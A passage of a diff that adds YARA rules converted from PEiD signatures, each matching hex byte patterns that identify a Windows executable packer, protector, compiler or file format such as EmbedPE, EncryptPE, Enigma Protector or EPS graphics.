+        $a = {EB 08 35 48 34 30 4C 31 4E 00 60 E8 00 00 00 00 5D 8B D5 81 ED 44 73 40 00 2B 95 74 74 40 00 83 EA 10 89 95 70 74 40 00 8B 44 24 20 25 00 00 FF FF 80 38 4D 74 07 2D 00 00 01 00 EB F4 93 89 85 7C 74 40 00 8D BD 8C 74 40 00 E8 83 00 00 00 89 85 80 74 40 00 8D BD A4 74 40 00 E8 72 00 00 00 89 85 84 74 40 00 8D BD F0 73 40 00 57 FF D0 8D BD 99 74 40 00 E8 58 00 00 00 89 85 88 74 40 00 8B 85 78 74 40 00 03 85 70 74 40 00 99 8D 8D 6C 74 40 00 51 52 52 50 52 52 FF 95 80 74 40 00 8D BD C0 74 40 00 8B 0F E3 13 8A 5F 05 8A 01 3A C3 75 FA 8A 57 04 88 11 83 C7 06 EB E9 E8 00 00 00 00 5D 81 ED F5 73 40 00 6A 00 FF 95 88 74 40 00 61 C3 8B D3 0F B7 43 3C 03 D8 8B 5B 78 03 DA 0B FF 74 40 8B 73 20 03 F2 8B 4B 18 53 33 DB AD 03 C2 56 57 87 FE 97 AC 0A C0 75 07 80 3F 00 74 0B}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00505_DzA_Patcher_v1_3_Loader_
+{
+    meta:
+        description = "[DzA Patcher v1.3 Loader]"
+        ep_only = "false"
+    strings:
+        $a = {BF 00 40 40 00 99 68 48 20 40 00 68 00 20 40 00 52 52 52 52 52 52 52 57 E8 15 01 00 00 85 C0 75 1C 99 52 52 57 52 E8 CB 00 00 00 FF 35 4C 20 40 00 E8 D2 00 00 00 6A 00 E8 BF 00 00 00 99 68 58 20 40 00 52 52 68 63 10 40 00 52 52 E8 DB 00 00 00 6A FF FF 35 48 20 40 00 E8 C2 00 00 00 E8 C8 FF FF FF BF 40 40 40 00 FF 35 4C 20 40 00 E8 A1 00 00 00 8B 0F 83 F9 00 74 B1 60 6A 00 6A 04 6A 01 51 FF 35 48 20 40 00 E8 75 00 00 00 61 60 BB 5C 20 40 00 6A 00 6A 01 53 51 FF 35 48 20 40 00 E8 75 00 00 00 61 A0 5C 20 40 00 8A 5F 05 3A C3 74 14 FF 35 4C 20 40 00 E8 4B 00 00 00 6A 03 E8 4A 00 00 00 EB A2 60 8D 5F 04 6A 00 6A 01 53 51 FF 35 48 20 40 00 E8 4B 00 00 00 61 83 C7 06 FF 35 4C 20 40 00 E8 1E 00 00 00 6A 03 E8 1D 00 00 00 E9 72 FF FF FF FF 25 70 30 40 00 FF 25 78}
+    condition:
+        $a
+}
+
+rule PEiD_00506_E_language_
+{
+    meta:
+        description = "[E language]"
+        ep_only = "true"
+    strings:
+        $a = {E8 06 00 00 00 50 E8 ?? 01 00 00 55 8B EC 81 C4 F0 FE FF FF}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00507_E_S_O__Eclipse_Operating_System_v_2_08___DOS_Extender_
+{
+    meta:
+        description = "[E.S.O. Eclipse Operating System v.2.08 + DOS Extender]"
+        ep_only = "true"
+    strings:
+        $a = {8C C8 8E D8 BA ?? ?? E8 ?? ?? BB ?? ?? 8C C0 2B D8 B4 4A CD 21 BA ?? ?? 73 ?? E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00508_E2C_by_DoP_
+{
+    meta:
+        description = "[E2C by DoP]"
+        ep_only = "true"
+    strings:
+        $a = {BE ?? ?? BF ?? ?? B9 ?? ?? FC 57 F3 A5 C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00509_EEXE_Version_1_12_
+{
+    meta:
+        description = "[EEXE Version 1.12]"
+        ep_only = "true"
+    strings:
+        $a = {B4 30 CD 21 3C 03 73 ?? BA 1F 00 0E 1F B4 09 CD 21 B8 FF 4C CD 21}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00510_Elicense_System_V4_0_0_0____ViaTech_Inc_
+{
+    meta:
+        description = "[Elicense System V4.0.0.0 -> ViaTech Inc]"
+        ep_only = "false"
+    strings:
+        $a = {00 00 00 00 63 79 62 00 65 6C 69 63 65 6E 34 30 2E 64 6C 6C 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00511_Embed_PE_v1_13____cyclotron_
+{
+    meta:
+        description = "[Embed PE v1.13 -> cyclotron]"
+        ep_only = "true"
+    strings:
+        $a = {83 EC 50 60 68 5D B9 52 5A E8 2F 99 00 00 DC 99 F3 57 05 68}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00512_EmbedPE_1_13____cyclotron_
+{
+    meta:
+        description = "[EmbedPE 1.13 -> cyclotron]"
+        ep_only = "true"
+    strings:
+        $a = {83 EC 50 60 68 5D B9 52 5A E8 2F 99 00 00}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_00513_EmbedPE_1_13____cyclotron_
+{
+    meta:
+        description = "[EmbedPE 1.13 -> cyclotron]"
+        ep_only = "true"
+    strings:
+        $a = {83 EC 50 60 68 5D B9 52 5A E8 2F 99 00 00 DC 99 F3 57 05 68 B8 5E 2D C6 DA FD 48 63 05 3C 71 B8 5E 97 7C 36 7E 32 7C 08 4F 06 51 64 10 A3 F1 4E CF 25 CB 80 D2 99 54 46 ED E1 D3 46 86 2D 10 68 93 83 5C 46 4D 43 9B 8C D6 7C BB 99 69 97 71 2A 2F A3 38 6B 33}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00514_EmbedPE_1_13____cyclotron_
+{
+    meta:
+        description = "[EmbedPE 1.13 -> cyclotron]"
+        ep_only = "true"
+    strings:
+        $a = {83 EC 50 60 68 5D B9 52 5A E8 2F 99 00 00 DC 99 F3 57 05 68 B8 5E 2D C6 DA FD 48 63 05 3C 71 B8 5E 97 7C 36 7E 32 7C 08 4F 06 51 64 10 A3 F1 4E CF 25 CB 80 D2 99 54 46 ED E1 D3 46 86 2D 10 68 93 83 5C 46 4D 43 9B 8C D6 7C BB 99 69 97 71 2A 2F A3 38 6B 33 A3 F5 0B 85 97 7C BA 1D 96 DD 07 F8 FD D2 3A 98 83 CC 46 99 9D DF 6F 89 92 54 46 9F 94 43 CC 41 43 9B 8C 61 B9 D8 6F 96 3B D1 07 32 24 DD 07 05 8E CB 6F A1 07 5C 62 20 E0 DB BA 9D 83 54 46 E6 83 51 7A 2B 94 54 64 8A 83 05 68 D7 5E 2D C6 B7 57 00 B3 E8 3C 71 B8 3C 97 7C 36 19 32 7C 08 2A 06 51 64 73 A3 F1 4E 92 25 CB 80 8D 99 54 46 B0 E1 D3 46 A5 2D 10 68 B6 83 91 46 F2 DF 64 FD D1 BC CA AA 70 E2 AB 39 AE 3B 5A 6F 9B 15 BD 25 98 25 30 4C AD 7D 55 07 A8 A3 AC 0A C1 BD 54 72 BC 83 54 82 A3 97 B1 1A B3 83 54 46 83}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00515_EmbedPE_V1_00_V1_24____cyclotron___Sign_by_fly_
+{
+    meta:
+        description = "[EmbedPE V1.00-V1.24 -> cyclotron ! Sign by fly]"
+        ep_only = "false"
+    strings:
+        $a = {00 00 00 00 ?? ?? ?? ?? 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 4B 45 52 4E 45 4C 33 32 2E 64 6C 6C 00 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00516_EmbedPE_V1_00_V1_24____cyclotron_
+{
+    meta:
+        description = "[EmbedPE V1.00-V1.24 -> cyclotron]"
+        ep_only = "true"
+    strings:
+        $a = {00 00 00 00 ?? ?? ?? ?? 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 4B 45 52 4E 45 4C 33 32 2E}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00517_EmbedPE_v1_24____cyclotron_
+{
+    meta:
+        description = "[EmbedPE v1.24 -> cyclotron]"
+        ep_only = "true"
+    strings:
+        $a = {83 EC 50 60 68 ?? ?? ?? ?? E8 CB FF 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00518_EmbedPE_V1_X____cyclotron_
+{
+    meta:
+        description = "[EmbedPE V1.X -> cyclotron]"
+        ep_only = "true"
+    strings:
+        $a = {83 EC 50 60 68 ?? ?? ?? ?? E8 ?? ?? 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00519_Encapsulated_Postscript_graphics_file_v2_0_EPSF_1_2_
+{
+    meta:
+        description = "[Encapsulated Postscript graphics file v2.0 EPSF-1.2]"
+        ep_only = "false"
+    strings:
+        $a = {25 21 50 53 2D 41 64 6F 62 65 2D 32 2E 30 20 45 50 53 46 2D 31 2E 32}
+    condition:
+        $a
+}
+
+rule PEiD_00520_Encapsulated_Postscript_graphics_file_v3_0_EPSF_3_0_
+{
+    meta:
+        description = "[Encapsulated Postscript graphics file v3.0 EPSF-3.0]"
+        ep_only = "false"
+    strings:
+        $a = {25 21 50 53 2D 41 64 6F 62 65 2D 33 2E 30 20 45 50 53 46 2D 33 2E 30}
+    condition:
+        $a
+}
+
+rule PEiD_00521_Encrypted_by__RSCC_286_v1_01_
+{
+    meta:
+        description = "[Encrypted by? RSCC/286 v1.01]"
+        ep_only = "false"
+    strings:
+        $a = {FE 52 53 43 43 2F 31 2E 30 31 FE}
+    condition:
+        $a
+}
+
+rule PEiD_00522_Encrypted_by__RSCC_286_v1_02_
+{
+    meta:
+        description = "[Encrypted by? RSCC/286 v1.02]"
+        ep_only = "false"
+    strings:
+        $a = {FE 52 53 43 43 2F 31 2E 30 32 FE}
+    condition:
+        $a
+}
+
+rule PEiD_00523_EncryptPE_1_2003_5_18____WFS_
+{
+    meta:
+        description = "[EncryptPE 1.2003.5.18 -> WFS]"
+        ep_only = "true"
+    strings:
+        $a = {60 9C 64 FF 35 00 00 00 00 E8 79}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00524_EncryptPE_2_2004_8_10___2_2005_3_14____WFS_
+{
+    meta:
+        description = "[EncryptPE 2.2004.8.10 - 2.2005.3.14 -> WFS]"
+        ep_only = "true"
+    strings:
+        $a = {60 9C 64 FF 35 00 00 00 00 E8 7A}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00525_EncryptPE_V1_2003_3_18_V1_2003_5_18____WFS_
+{
+    meta:
+        description = "[EncryptPE V1.2003.3.18-V1.2003.5.18 -> WFS]"
+        ep_only = "true"
+    strings:
+        $a = {60 9C 64 FF 35 00 00 00 00 E8 79 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00526_EncryptPE_V2_2004_6_16_V2_2006_6_30____WFS___Sign_by_fly_
+{
+    meta:
+        description = "[EncryptPE V2.2004.6.16-V2.2006.6.30 -> WFS ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {60 9C 64 FF 35 00 00 00 00 E8 7A 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00527_EncryptPE_V2_2004_6_16_V2_2006_6_30____WFS_
+{
+    meta:
+        description = "[EncryptPE V2.2004.6.16-V2.2006.6.30 -> WFS]"
+        ep_only = "true"
+    strings:
+        $a = {60 9C 64 FF 35 00 00 00 00 E8 73 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_00528_EncryptPE_V2_2006_1_15____WFS_
+{
+    meta:
+        description = "[EncryptPE V2.2006.1.15 -> WFS]"
+        ep_only = "false"
+    strings:
+        $a = {45 50 45 3A 20 45 6E 63 72 79 70 74 50 45 20 56 32 2E 32 30 30 36 2E 31 2E 31 35}
+    condition:
+        $a
+}
+
+rule PEiD_00529_EncryptPE_V2_2006_7_10____WFS_
+{
+    meta:
+        description = "[EncryptPE V2.2006.7.10 -> WFS]"
+        ep_only = "false"
+    strings:
+        $a = {60 9C 64 FF 35 00 00 00 00 E8 73 01 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00530_EncryptPE_V2_2006_7_10_V2_2007_04_11____WFS_
+{
+    meta:
+        description = "[EncryptPE V2.2006.7.10-V2.2007.04.11 -> WFS]"
+        ep_only = "true"
+    strings:
+        $a = {60 9C 64 FF 35 00 00 00 00 E8 1B 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00531_Enigma_protector_1_10__unregistered__
+{
+    meta:
+        description = "[Enigma protector 1.10 (unregistered)]"
+        ep_only = "false"
+    strings:
+        $a = {60 72 80 72 88 72 8C 72 90 72 94 72 98 72 9C 72 A0 72 A4 59 A8 B0 5C E8 39 D5 39 E4 39 F1 31 F9 5C 3D 58 CA 5F 56 B1 2D 20 7A 2E 30 16 32 72 2B 72 36 1C A5 33 A9 9C AD 9C B1 9C B5 9C B9 9C BD 9C C1 9C C5 9C C9 9C CD 9C D1 9C D5 9C D9 9C DD 9C E1 9C E5 89}
+    condition:
+        $a
+}
+
+rule PEiD_00532_Enigma_protector_1_10__unregistered__
+{
+    meta:
+        description = "[Enigma protector 1.10 (unregistered)]"
+        ep_only = "false"
+    strings:
+        $a = {60 72 80 72 88 72 8C 72 90 72 94 72 98 72 9C 72 A0 72 A4 59 A8 B0 5C E8 39 D5 39 E4 39 F1 31 F9 5C 3D 58 CA 5F 56 B1 2D 20 7A 2E 30 16 32 72 2B 72 36 1C A5 33 A9 9C AD 9C B1 9C B5 9C B9 9C BD 9C C1 9C C5 9C C9 9C CD 9C D1 9C D5 9C D9 9C DD 9C E1 9C E5 89 E9 51 0B C4 80 BC 7E 35 09 37 E7 C9 3D C9 45 C9 4D 74 92 BA E4 E9 24 6B DF 3E 0E 38 0C 49 10 27 80 51 A1 8E 3A A3 C8 AE 3B 1C 35}
+    condition:
+        $a
+}
+
+rule PEiD_00533_Enigma_Protector_1_1X_1_3X____Sukhov_Vladimir___Serge_N__Markin_
+{
+    meta:
+        description = "[Enigma Protector 1.1X-1.3X -> Sukhov Vladimir & Serge N. Markin]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 F0 B8 00 10 40 00 E8 01 00 00 00 9A 83 C4 10 8B E5 5D E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00534_Enigma_Protector_1_X____Sukhov_Vladimir___Serge_N__Markin_
+{
+    meta:
+        description = "[Enigma Protector 1.X -> Sukhov Vladimir & Serge N. Markin]"
+        ep_only = "true"
+    strings:
+        $a = {00 00 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 00 00 56 69 72 74 75 61 6C 46 72 65 65 00 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 45 78 69 74 50 72 6F 63 65 73 73 00 00 00 4C 6F 61}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00535_Enigma_Protector_1_X____Sukhov_Vladimir___Serge_N__Markin_
+{
+    meta:
+        description = "[Enigma Protector 1.X -> Sukhov Vladimir & Serge N. Markin]"
+        ep_only = "false"
+    strings:
+        $a = {00 00 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 00 00 56 69 72 74 75 61 6C 46 72 65 65 00 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 45 78 69 74 50 72 6F 63 65 73 73 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 4D 65 73 73 61 67 65 42 6F 78 41 00 00 00 52 65 67 43 6C 6F 73 65 4B 65 79 00 00 00 53 79 73 46 72 65 65 53 74 72 69 6E 67 00 00 00 43 72 65 61 74 65 46 6F 6E 74 41 00 00 00 53 68 65 6C 6C 45 78 65 63 75 74 65 41 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00536_ENIGMA_Protector_V1_1____Sukhov_Vladimir_
+{
+    meta:
+        description = "[ENIGMA Protector V1.1 -> Sukhov Vladimir]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 83 ?? ?? 81}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00537_ENIGMA_Protector_V1_1_CracKed_By__shoooo___fly____Sukhov_Vladimir_
+{
+    meta:
+        description = "[ENIGMA Protector V1.1 CracKed By: shoooo & fly -> Sukhov Vladimir]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 83 C5 FA 81}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00538_ENIGMA_Protector_V1_1_V1_2____Sukhov_Vladimir_
+{
+    meta:
+        description = "[ENIGMA Protector V1.1-V1.2 -> Sukhov Vladimir]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 83 ED 06 81}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00539_ENIGMA_Protector_V1_X____Sukhov_Vladimir_
+{
+    meta:
+        description = "[ENIGMA Protector V1.X -> Sukhov Vladimir]"
+        ep_only = "false"
+    strings:
+        $a = {45 6E 69 67 6D 61 20 70 72 6F 74 65 63 74 6F 72 20 76 31}
+    condition:
+        $a
+}
+
+rule PEiD_00540_EP_1_0_
+{
+    meta:
+        description = "[EP 1.0]"
+        ep_only = "false"
+    strings:
+        $a = {50 83 C0 17 8B F0 97 33 C0 33 C9 B1 24 AC 86 C4 AC AA 86 C4 AA E2 F6 00 B8 40 00 03 00 3C 40 D2 33 8B 66 14 50 70 8B 8D 34 02 44 8B 18 10 48 70 03 BA 0C ?? ?? ?? ?? C0 33 FE 8B 30 AC 30 D0 C1 F0 10 C2 D0 30 F0 30 C2 C1 AA 10 42 42 CA C1 E2 04 5F E9 5E B1}
+    condition:
+        $a
+}
+
+rule PEiD_00541_EP_v1_0_
+{
+    meta:
+        description = "[EP v1.0]"
+        ep_only = "true"
+    strings:
+        $a = {50 83 C0 17 8B F0 97 33 C0 33 C9 B1 24 AC 86 C4 AC AA 86 C4 AA E2 F6 00 B8 40 00 03 00 3C 40 D2 33 8B 66 14 50 70 8B 8D 34 02 44 8B 18 10 48 70 03 BA 0C ?? ?? ?? ?? C0 33 FE 8B 30 AC 30 D0 C1 F0 10 C2 D0 30 F0 30 C2 C1 AA 10 42 42 CA C1 E2 04 5F E9 5E B1 C0 30 ?? 68 ?? ?? F3 00 C3 AA}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00542_EP_v2_0_
+{
+    meta:
+        description = "[EP v2.0]"
+        ep_only = "true"
+    strings:
+        $a = {6A ?? 60 E9 01 01}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00543_EPW_v1_2_
+{
+    meta:
+        description = "[EPW v1.2]"
+        ep_only = "true"
+    strings:
+        $a = {06 57 1E 56 55 52 51 53 50 2E ?? ?? ?? ?? 8C C0 05 ?? ?? 2E ?? ?? ?? 8E D8 A1 ?? ?? 2E}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00544_EPW_v1_30_
+{
+    meta:
+        description = "[EPW v1.30]"
+        ep_only = "true"
+    strings:
+        $a = {06 57 1E 56 55 52 51 53 50 2E 8C 06 08 00 8C C0 83 C0 10 2E}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00545_Erdas_LAN_GIS_Image_graphics_format_
+{
+    meta:
+        description = "[Erdas LAN/GIS Image graphics format]"
+        ep_only = "false"
+    strings:
+        $a = {48 45 41 44 37 34 00 00 03 00}
+    condition:
+        $a
+}
+
+rule PEiD_00546_Escargot_0_1__final_______Meat_
+{
+    meta:
+        description = "[Escargot 0.1 (final) -> ++Meat]"
+        ep_only = "true"
+    strings:
+        $a = {EB 04 40 30 2E 31 60 68 61 ?? ?? ?? 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 B8 92 ?? ?? ?? 8B 00 FF D0 50 B8 CD ?? ?? ?? 81 38 DE C0 37 13 75 2D 68 C9 ?? ?? ?? 6A 40 68 00 ?? 00 00 68 00 00 ?? ?? B8 96 ?? ?? ?? 8B 00 FF D0 8B 44 24 F0 8B 4C 24 F4 EB 05 49 C6 04 01 40 0B C9 75 F7 BE 00 10 ?? ?? B9 00 ?? ?? 00 EB 05 49 80 34 31 40 0B C9 75 F7 58 0B C0 74 08 33 C0 C7 00 DE C0 AD 0B BE ?? ?? ?? ?? E9 AC 00 00 00 8B 46 0C BB 00 00 ?? ?? 03 C3 50 50}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_00547_Escargot_0_1___by_ueMeat_
+{
+    meta:
+        description = "[Escargot 0.1 - by ueMeat]"
+        ep_only = "true"
+    strings:
+        $a = {EB 08 28 65 73 63 30 2E 31 29 60 68 2B ?? ?? ?? 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 B8 5C ?? ?? ?? 8B 00 FF D0 50 BE 00 10 ?? ?? B9 00 ?? ?? 00 EB 05 49 80 34 31 40 0B C9 75 F7 58 0B C0 74 08 33 C0 C7 00 DE C0 AD 0B BE ?? ?? ?? ?? E9 AC 00 00 00 8B}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00548_Escargot_0_1___by_ueMeat_
+{
+    meta:
+        description = "[Escargot 0.1 - by ueMeat]"
+        ep_only = "false"
+    strings:
+        $a = {EB 08 28 65 73 63 30 2E 31 29 60 68 2B ?? ?? ?? 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 B8 5C ?? ?? ?? 8B 00 FF D0 50 BE 00 10 ?? ?? B9 00 ?? ?? 00 EB 05 49 80 34 31 40 0B C9 75 F7 58 0B C0 74 08 33 C0 C7 00 DE C0 AD 0B BE ?? ?? ?? ?? E9 AC 00 00 00 8B 46 0C BB 00 00 ?? ?? 03 C3 50 50 B8 54 ?? ?? ?? 8B 00 FF D0 5F 80 3F 00 74 06 C6 07 00 47 EB F5 33 FF 8B 16 0B D2 75 03 8B 56 10 03 D3 03 D7 8B 0A C7 02 00 00 00 00 0B C9 74 4B F7 C1 00 00 00 80 74 14 81 E1 FF FF 00 00 50 51 50 B8 50}
+    condition:
+        $a
+}
+
+rule PEiD_00549_Escargot_V0_1______Meat_
+{
+    meta:
+        description = "[Escargot V0.1 -> ++Meat]"
+        ep_only = "true"
+    strings:
+        $a = {EB 04 40 30 2E 31 60 68 61}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00550_Exact_Audio_Copy_____UnknownCompiler__
+{
+    meta:
+        description = "[Exact Audio Copy -> (UnknownCompiler)]"
+        ep_only = "true"
+    strings:
+        $a = {E8 ?? ?? ?? 00 31 ED 55 89 E5 81 EC ?? 00 00 00 8D BD ?? FF FF FF B9 ?? 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00551_Exact_Audio_Copy_
+{
+    meta:
+        description = "[Exact Audio Copy]"
+        ep_only = "true"
+    strings:
+        $a = {E8 ?? ?? ?? 00 31 ED 55 89 E5 81 EC ?? 00 00 00 8D BD ?? FF FF FF B9 ?? 00 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00552_Excalibur_1_03____forgot_
+{
+    meta:
+        description = "[Excalibur 1.03 -> forgot]"
+        ep_only = "true"
+    strings:
+        $a = {E9 00 00 00 00 60 E8 14 00 00 00 5D 81 ED 00 00 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00553_Excalibur_V1_03____forgot___Sign_by_fly_
+{
+    meta:
+        description = "[Excalibur V1.03 -> forgot ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {E9 00 00 00 00 60 E8 14 00 00 00 5D 81 ED 00 00 00 00 6A 45 E8 A3 00 00 00 68 00 00 00 00 E8 58 61 EB 39}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00554_eXcalibur_v1_03____forgot_us__h__
+{
+    meta:
+        description = "[eXcalibur v1.03 -> forgot/us (h)]"
+        ep_only = "false"
+    strings:
+        $a = {E9 00 00 00 00 60 E8 14 00 00 00 5D 81 ED 00 00 00 00 6A 45 E8 A3 00 00 00 68 00 00 00 00 E8 58 61 EB 39 20 45 78 63 61 6C 69 62 75 72 20 28 63 29 20 62 79 20 66 6F 72 67 6F 74 2F 75 53 2F 44 46 43 47 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20}
+    condition:
+        $a
+}
+
+rule PEiD_00555_eXcalibur_v1_03____forgot_us__h__
+{
+    meta:
+        description = "[eXcalibur v1.03 -> forgot/us (h)]"
+        ep_only = "true"
+    strings:
+        $a = {E9 00 00 00 00 60 E8 14 00 00 00 5D 81 ED 00 00 00 00 6A 45 E8 A3 00 00 00 68 00 00 00 00 E8 58 61 EB 39 20 45 78 63 61 6C 69 62 75 72 20 28 63 29 20 62 79 20 66 6F 72 67 6F 74 2F 75 53 2F 44 46 43 47 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0D 0A 60 9C 9C 6A 63 73 0B EB 02 E8 E8 E8 06 00 00 00 E8 E8 73 F7 E8 E8 83 C4 04 EB 02 E8 E8 FF 0C 24 71 01 E8 79 E0 7A 01 E8 83 C4 04 9D EB 01 E8 E8 01 00 00 00 E9 5D 81 ED AE 28 40 00 9C 6A 63 73 0B EB 02 69 69 E8 06 00 00 00 69 69 73 F7 69 69 83 C4 04 EB 02 69 69 FF 0C 24 71 01 69 79 E0 7A 01 69 83 C4 04 9D EB 01 69 E8 E7 02 00 00 E8 9C 6A 63 73 0B EB 02 69 69 E8 06 00 00 00 69 69 73 F7 69 69 83 C4 04 EB 02 69 69 FF 0C 24 71 01 69 79 E0 7A 01 69 83 C4 04 9D EB 01 69 E8 B4 02 00 00 E8 60 E8}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00556_Exe_Guarder_1_8____Exeicon_com__h__
+{
+    meta:
+        description = "[Exe Guarder 1.8 -> Exeicon.com (h)]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 83 C4 D0 53 56 57 8D 75 FC 8B 44 24 30 25 00 00 FF FF 81 38 4D 5A 90 00 74 07 2D 00 10 00 00 EB F1 89 45 FC E8 C8 FF FF FF 2D B2 04 00 00 89 45 F4 8B 06 8B 40 3C 03 06 8B 40 78 03 06 8B C8 8B 51 20 03 16 8B 59 24 03 1E 89 5D F0 8B 59 1C 03 1E 89}
+    condition:
+        $a
+}
+
+rule PEiD_00557_Exe_Guarder_v1_8____Exeicon_com__h__
+{
+    meta:
+        description = "[Exe Guarder v1.8 -> Exeicon.com (h)]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 D0 53 56 57 8D 75 FC 8B 44 24 30 25 00 00 FF FF 81 38 4D 5A 90 00 74 07 2D 00 10 00 00 EB F1 89 45 FC E8 C8 FF FF FF 2D B2 04 00 00 89 45 F4 8B 06 8B 40 3C 03 06 8B 40 78 03 06 8B C8 8B 51 20 03 16 8B 59 24 03 1E 89 5D F0 8B 59 1C 03 1E 89 5D EC 8B 41 18 8B C8 49 85 C9 72 5A 41 33 C0 8B D8 C1 E3 02 03 DA 8B 3B 03 3E 81 3F 47 65 74 50 75 40 8B DF 83 C3 04 81 3B 72 6F 63 41 75 33 8B DF 83 C3 08 81 3B 64 64 72 65 75 26 83 C7 0C 66 81 3F 73 73 75 1C 8B D0 03 D2 03 55 F0 0F B7 12 C1 E2 02 03 55 EC 8B 12 03 16 8B 4D F4 89 51 08 EB 04 40 49 75 A9 8B 5D F4 8D 83 A1 00 00 00 50 8B 06 50 FF 53 08 89 43 0C 8D 83 AE 00 00 00 50 8B 06 50 FF 53 08 89 43 10 8D 83 BA 00 00 00 50 8B 06 50 FF 53 08 89 43 14 8D 83 C6 00 00 00 50 8B 06 50 FF 53 08 89 43 18 8D 83 D7 00 00 00 50 8B 06 50 FF 53 08 89 43 1C 8D 83 E0 00 00 00 50 8B 06 50 FF 53 08}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00558_EXE_joiner____Amok_
+{
+    meta:
+        description = "[EXE joiner -> Amok]"
+        ep_only = "true"
+    strings:
+        $a = {A1 14 A1 40 00 C1 E0 02 A3 18 A1 40}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00559_Exe_Locker_1_0____IonIce_
+{
+    meta:
+        description = "[Exe Locker 1.0 -> IonIce]"
+        ep_only = "true"
+    strings:
